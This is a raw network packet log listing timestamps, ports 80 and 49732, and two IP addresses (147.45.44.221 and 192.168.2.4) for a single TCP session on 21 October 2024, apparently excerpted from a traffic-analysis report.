Oct 21, 2024 08:47:29.330409050 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.330441952 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.330451965 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.330477953 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.330487013 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.330522060 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.331068039 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.331119061 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.331203938 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.331249952 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.331255913 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.331289053 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.331300020 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.331321001 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.331353903 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.331394911 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.331412077 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.331432104 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.331453085 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.331461906 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.331496000 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.331515074 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.331530094 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.331545115 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.331562042 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.331572056 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.331598043 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.331603050 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.331631899 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.331635952 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.331666946 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.331669092 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.331708908 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.331717014 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.331760883 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.331774950 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.331816912 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.331837893 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.331881046 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.331890106 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.331931114 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.331949949 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.331998110 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.331999063 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.332034111 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.332042933 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.332067966 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.332076073 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.332098961 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.332113981 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.332133055 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.332140923 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.332173109 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.332179070 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.332206964 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.332212925 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.332238913 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.332243919 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.332268953 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.332279921 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.332303047 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.332309961 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.332336903 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.332345009 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.332370043 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.332381010 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.332406044 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.332416058 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.332434893 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.332448959 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.332468987 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.332475901 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.332503080 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.332509995 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.332535982 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.332536936 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.332570076 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.332581043 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.332604885 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.332613945 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.332639933 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.332645893 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.332673073 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.332685947 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.332714081 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.369950056 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.370058060 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.370075941 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.370094061 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.370178938 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.443443060 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.443612099 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.443645000 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.443662882 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.443662882 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.443687916 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.443708897 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.443754911 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.443764925 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.443808079 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.443814993 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.443847895 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.443865061 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.443883896 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.443897009 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.443926096 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.443934917 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.443977118 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.444005013 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.444036007 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.444048882 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.444071054 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.444076061 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.444116116 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.444119930 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.444149971 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.444153070 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.444183111 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.444200039 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.444215059 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.444220066 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.444248915 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.444259882 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.444278002 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.444289923 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.444313049 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.444317102 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.444348097 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.444356918 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.444380999 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.444391012 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.444416046 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.444422007 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.444449902 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.444462061 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.444483995 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.444497108 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.444515944 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.444524050 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.444549084 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.444555998 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.444585085 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.444591045 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.444626093 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.482800961 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.487660885 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.735275030 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.735321045 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.735357046 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.735433102 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.735456944 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.735469103 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.735501051 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.735512018 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.735532999 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.735548019 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.735555887 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.735589027 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.735605001 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.735622883 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.735632896 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.735656023 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.735667944 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.735690117 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.735713005 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.735719919 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.735729933 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.735754967 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.735761881 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.735789061 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.735801935 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.735822916 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.735838890 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.735858917 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.735866070 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.735892057 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.735902071 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.735927105 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.735938072 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.735971928 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.735986948 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.736031055 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.736059904 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.736092091 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.736109972 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.736131907 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.736131907 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.736166954 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.736175060 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.736200094 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.736215115 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.736229897 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.736242056 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.736264944 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.736268997 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.736309052 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.736316919 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.736349106 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.736365080 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.736402035 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.736402988 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.736433029 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.736447096 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.736475945 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.736485004 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.736527920 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.736542940 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.736560106 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.736572027 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.736612082 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.736612082 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.736645937 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.736655951 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.736684084 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.736689091 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.736718893 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.736726046 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.736762047 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.736773968 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.736804008 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.736820936 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.736835957 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.736846924 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.736879110 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.736886978 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.736936092 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.736937046 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.736980915 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.736988068 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.737020969 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.737030029 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.737056971 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.737063885 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.737090111 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.737101078 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.737124920 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.737133980 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.737157106 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.737169027 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.737190962 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.737201929 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.737222910 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.737232924 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.737257004 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.737265110 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.737289906 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.737298012 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.737324953 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.737330914 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.737354040 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.737365961 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.737387896 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.737392902 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.737425089 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.737430096 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.737459898 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.737468958 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.737498999 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.737517118 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.737560034 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.737566948 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.737612963 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.737620115 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.737651110 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.737659931 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.737684965 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.737690926 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.737715006 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.737729073 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.737746000 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.737755060 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.737782001 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.737792015 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.737816095 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.737826109 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.737849951 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.737860918 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.737884045 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.737888098 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.737917900 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.737930059 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.737951994 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.737961054 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.737989902 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.738009930 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.738054037 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.738061905 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.738096952 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.738101006 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.738132000 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.738145113 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.738168001 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.738171101 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.738200903 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.738205910 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.738234997 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.738241911 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.738276958 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.738286018 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.738317966 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.738327980 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.738352060 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.738369942 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.738385916 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.738403082 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.738423109 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.738431931 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.738473892 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.738475084 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.738524914 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.738527060 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.738568068 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.738576889 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.738610029 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.738626957 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.738646030 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.738651037 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.738689899 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.738703012 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.738749027 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.738754988 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.738786936 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.738790989 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.738821030 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.738827944 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.738854885 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.738867044 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.738892078 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.738894939 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.738925934 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.738934994 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.738960028 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.738976002 CEST	49732	80	192.168.2.4	147.45.44.221
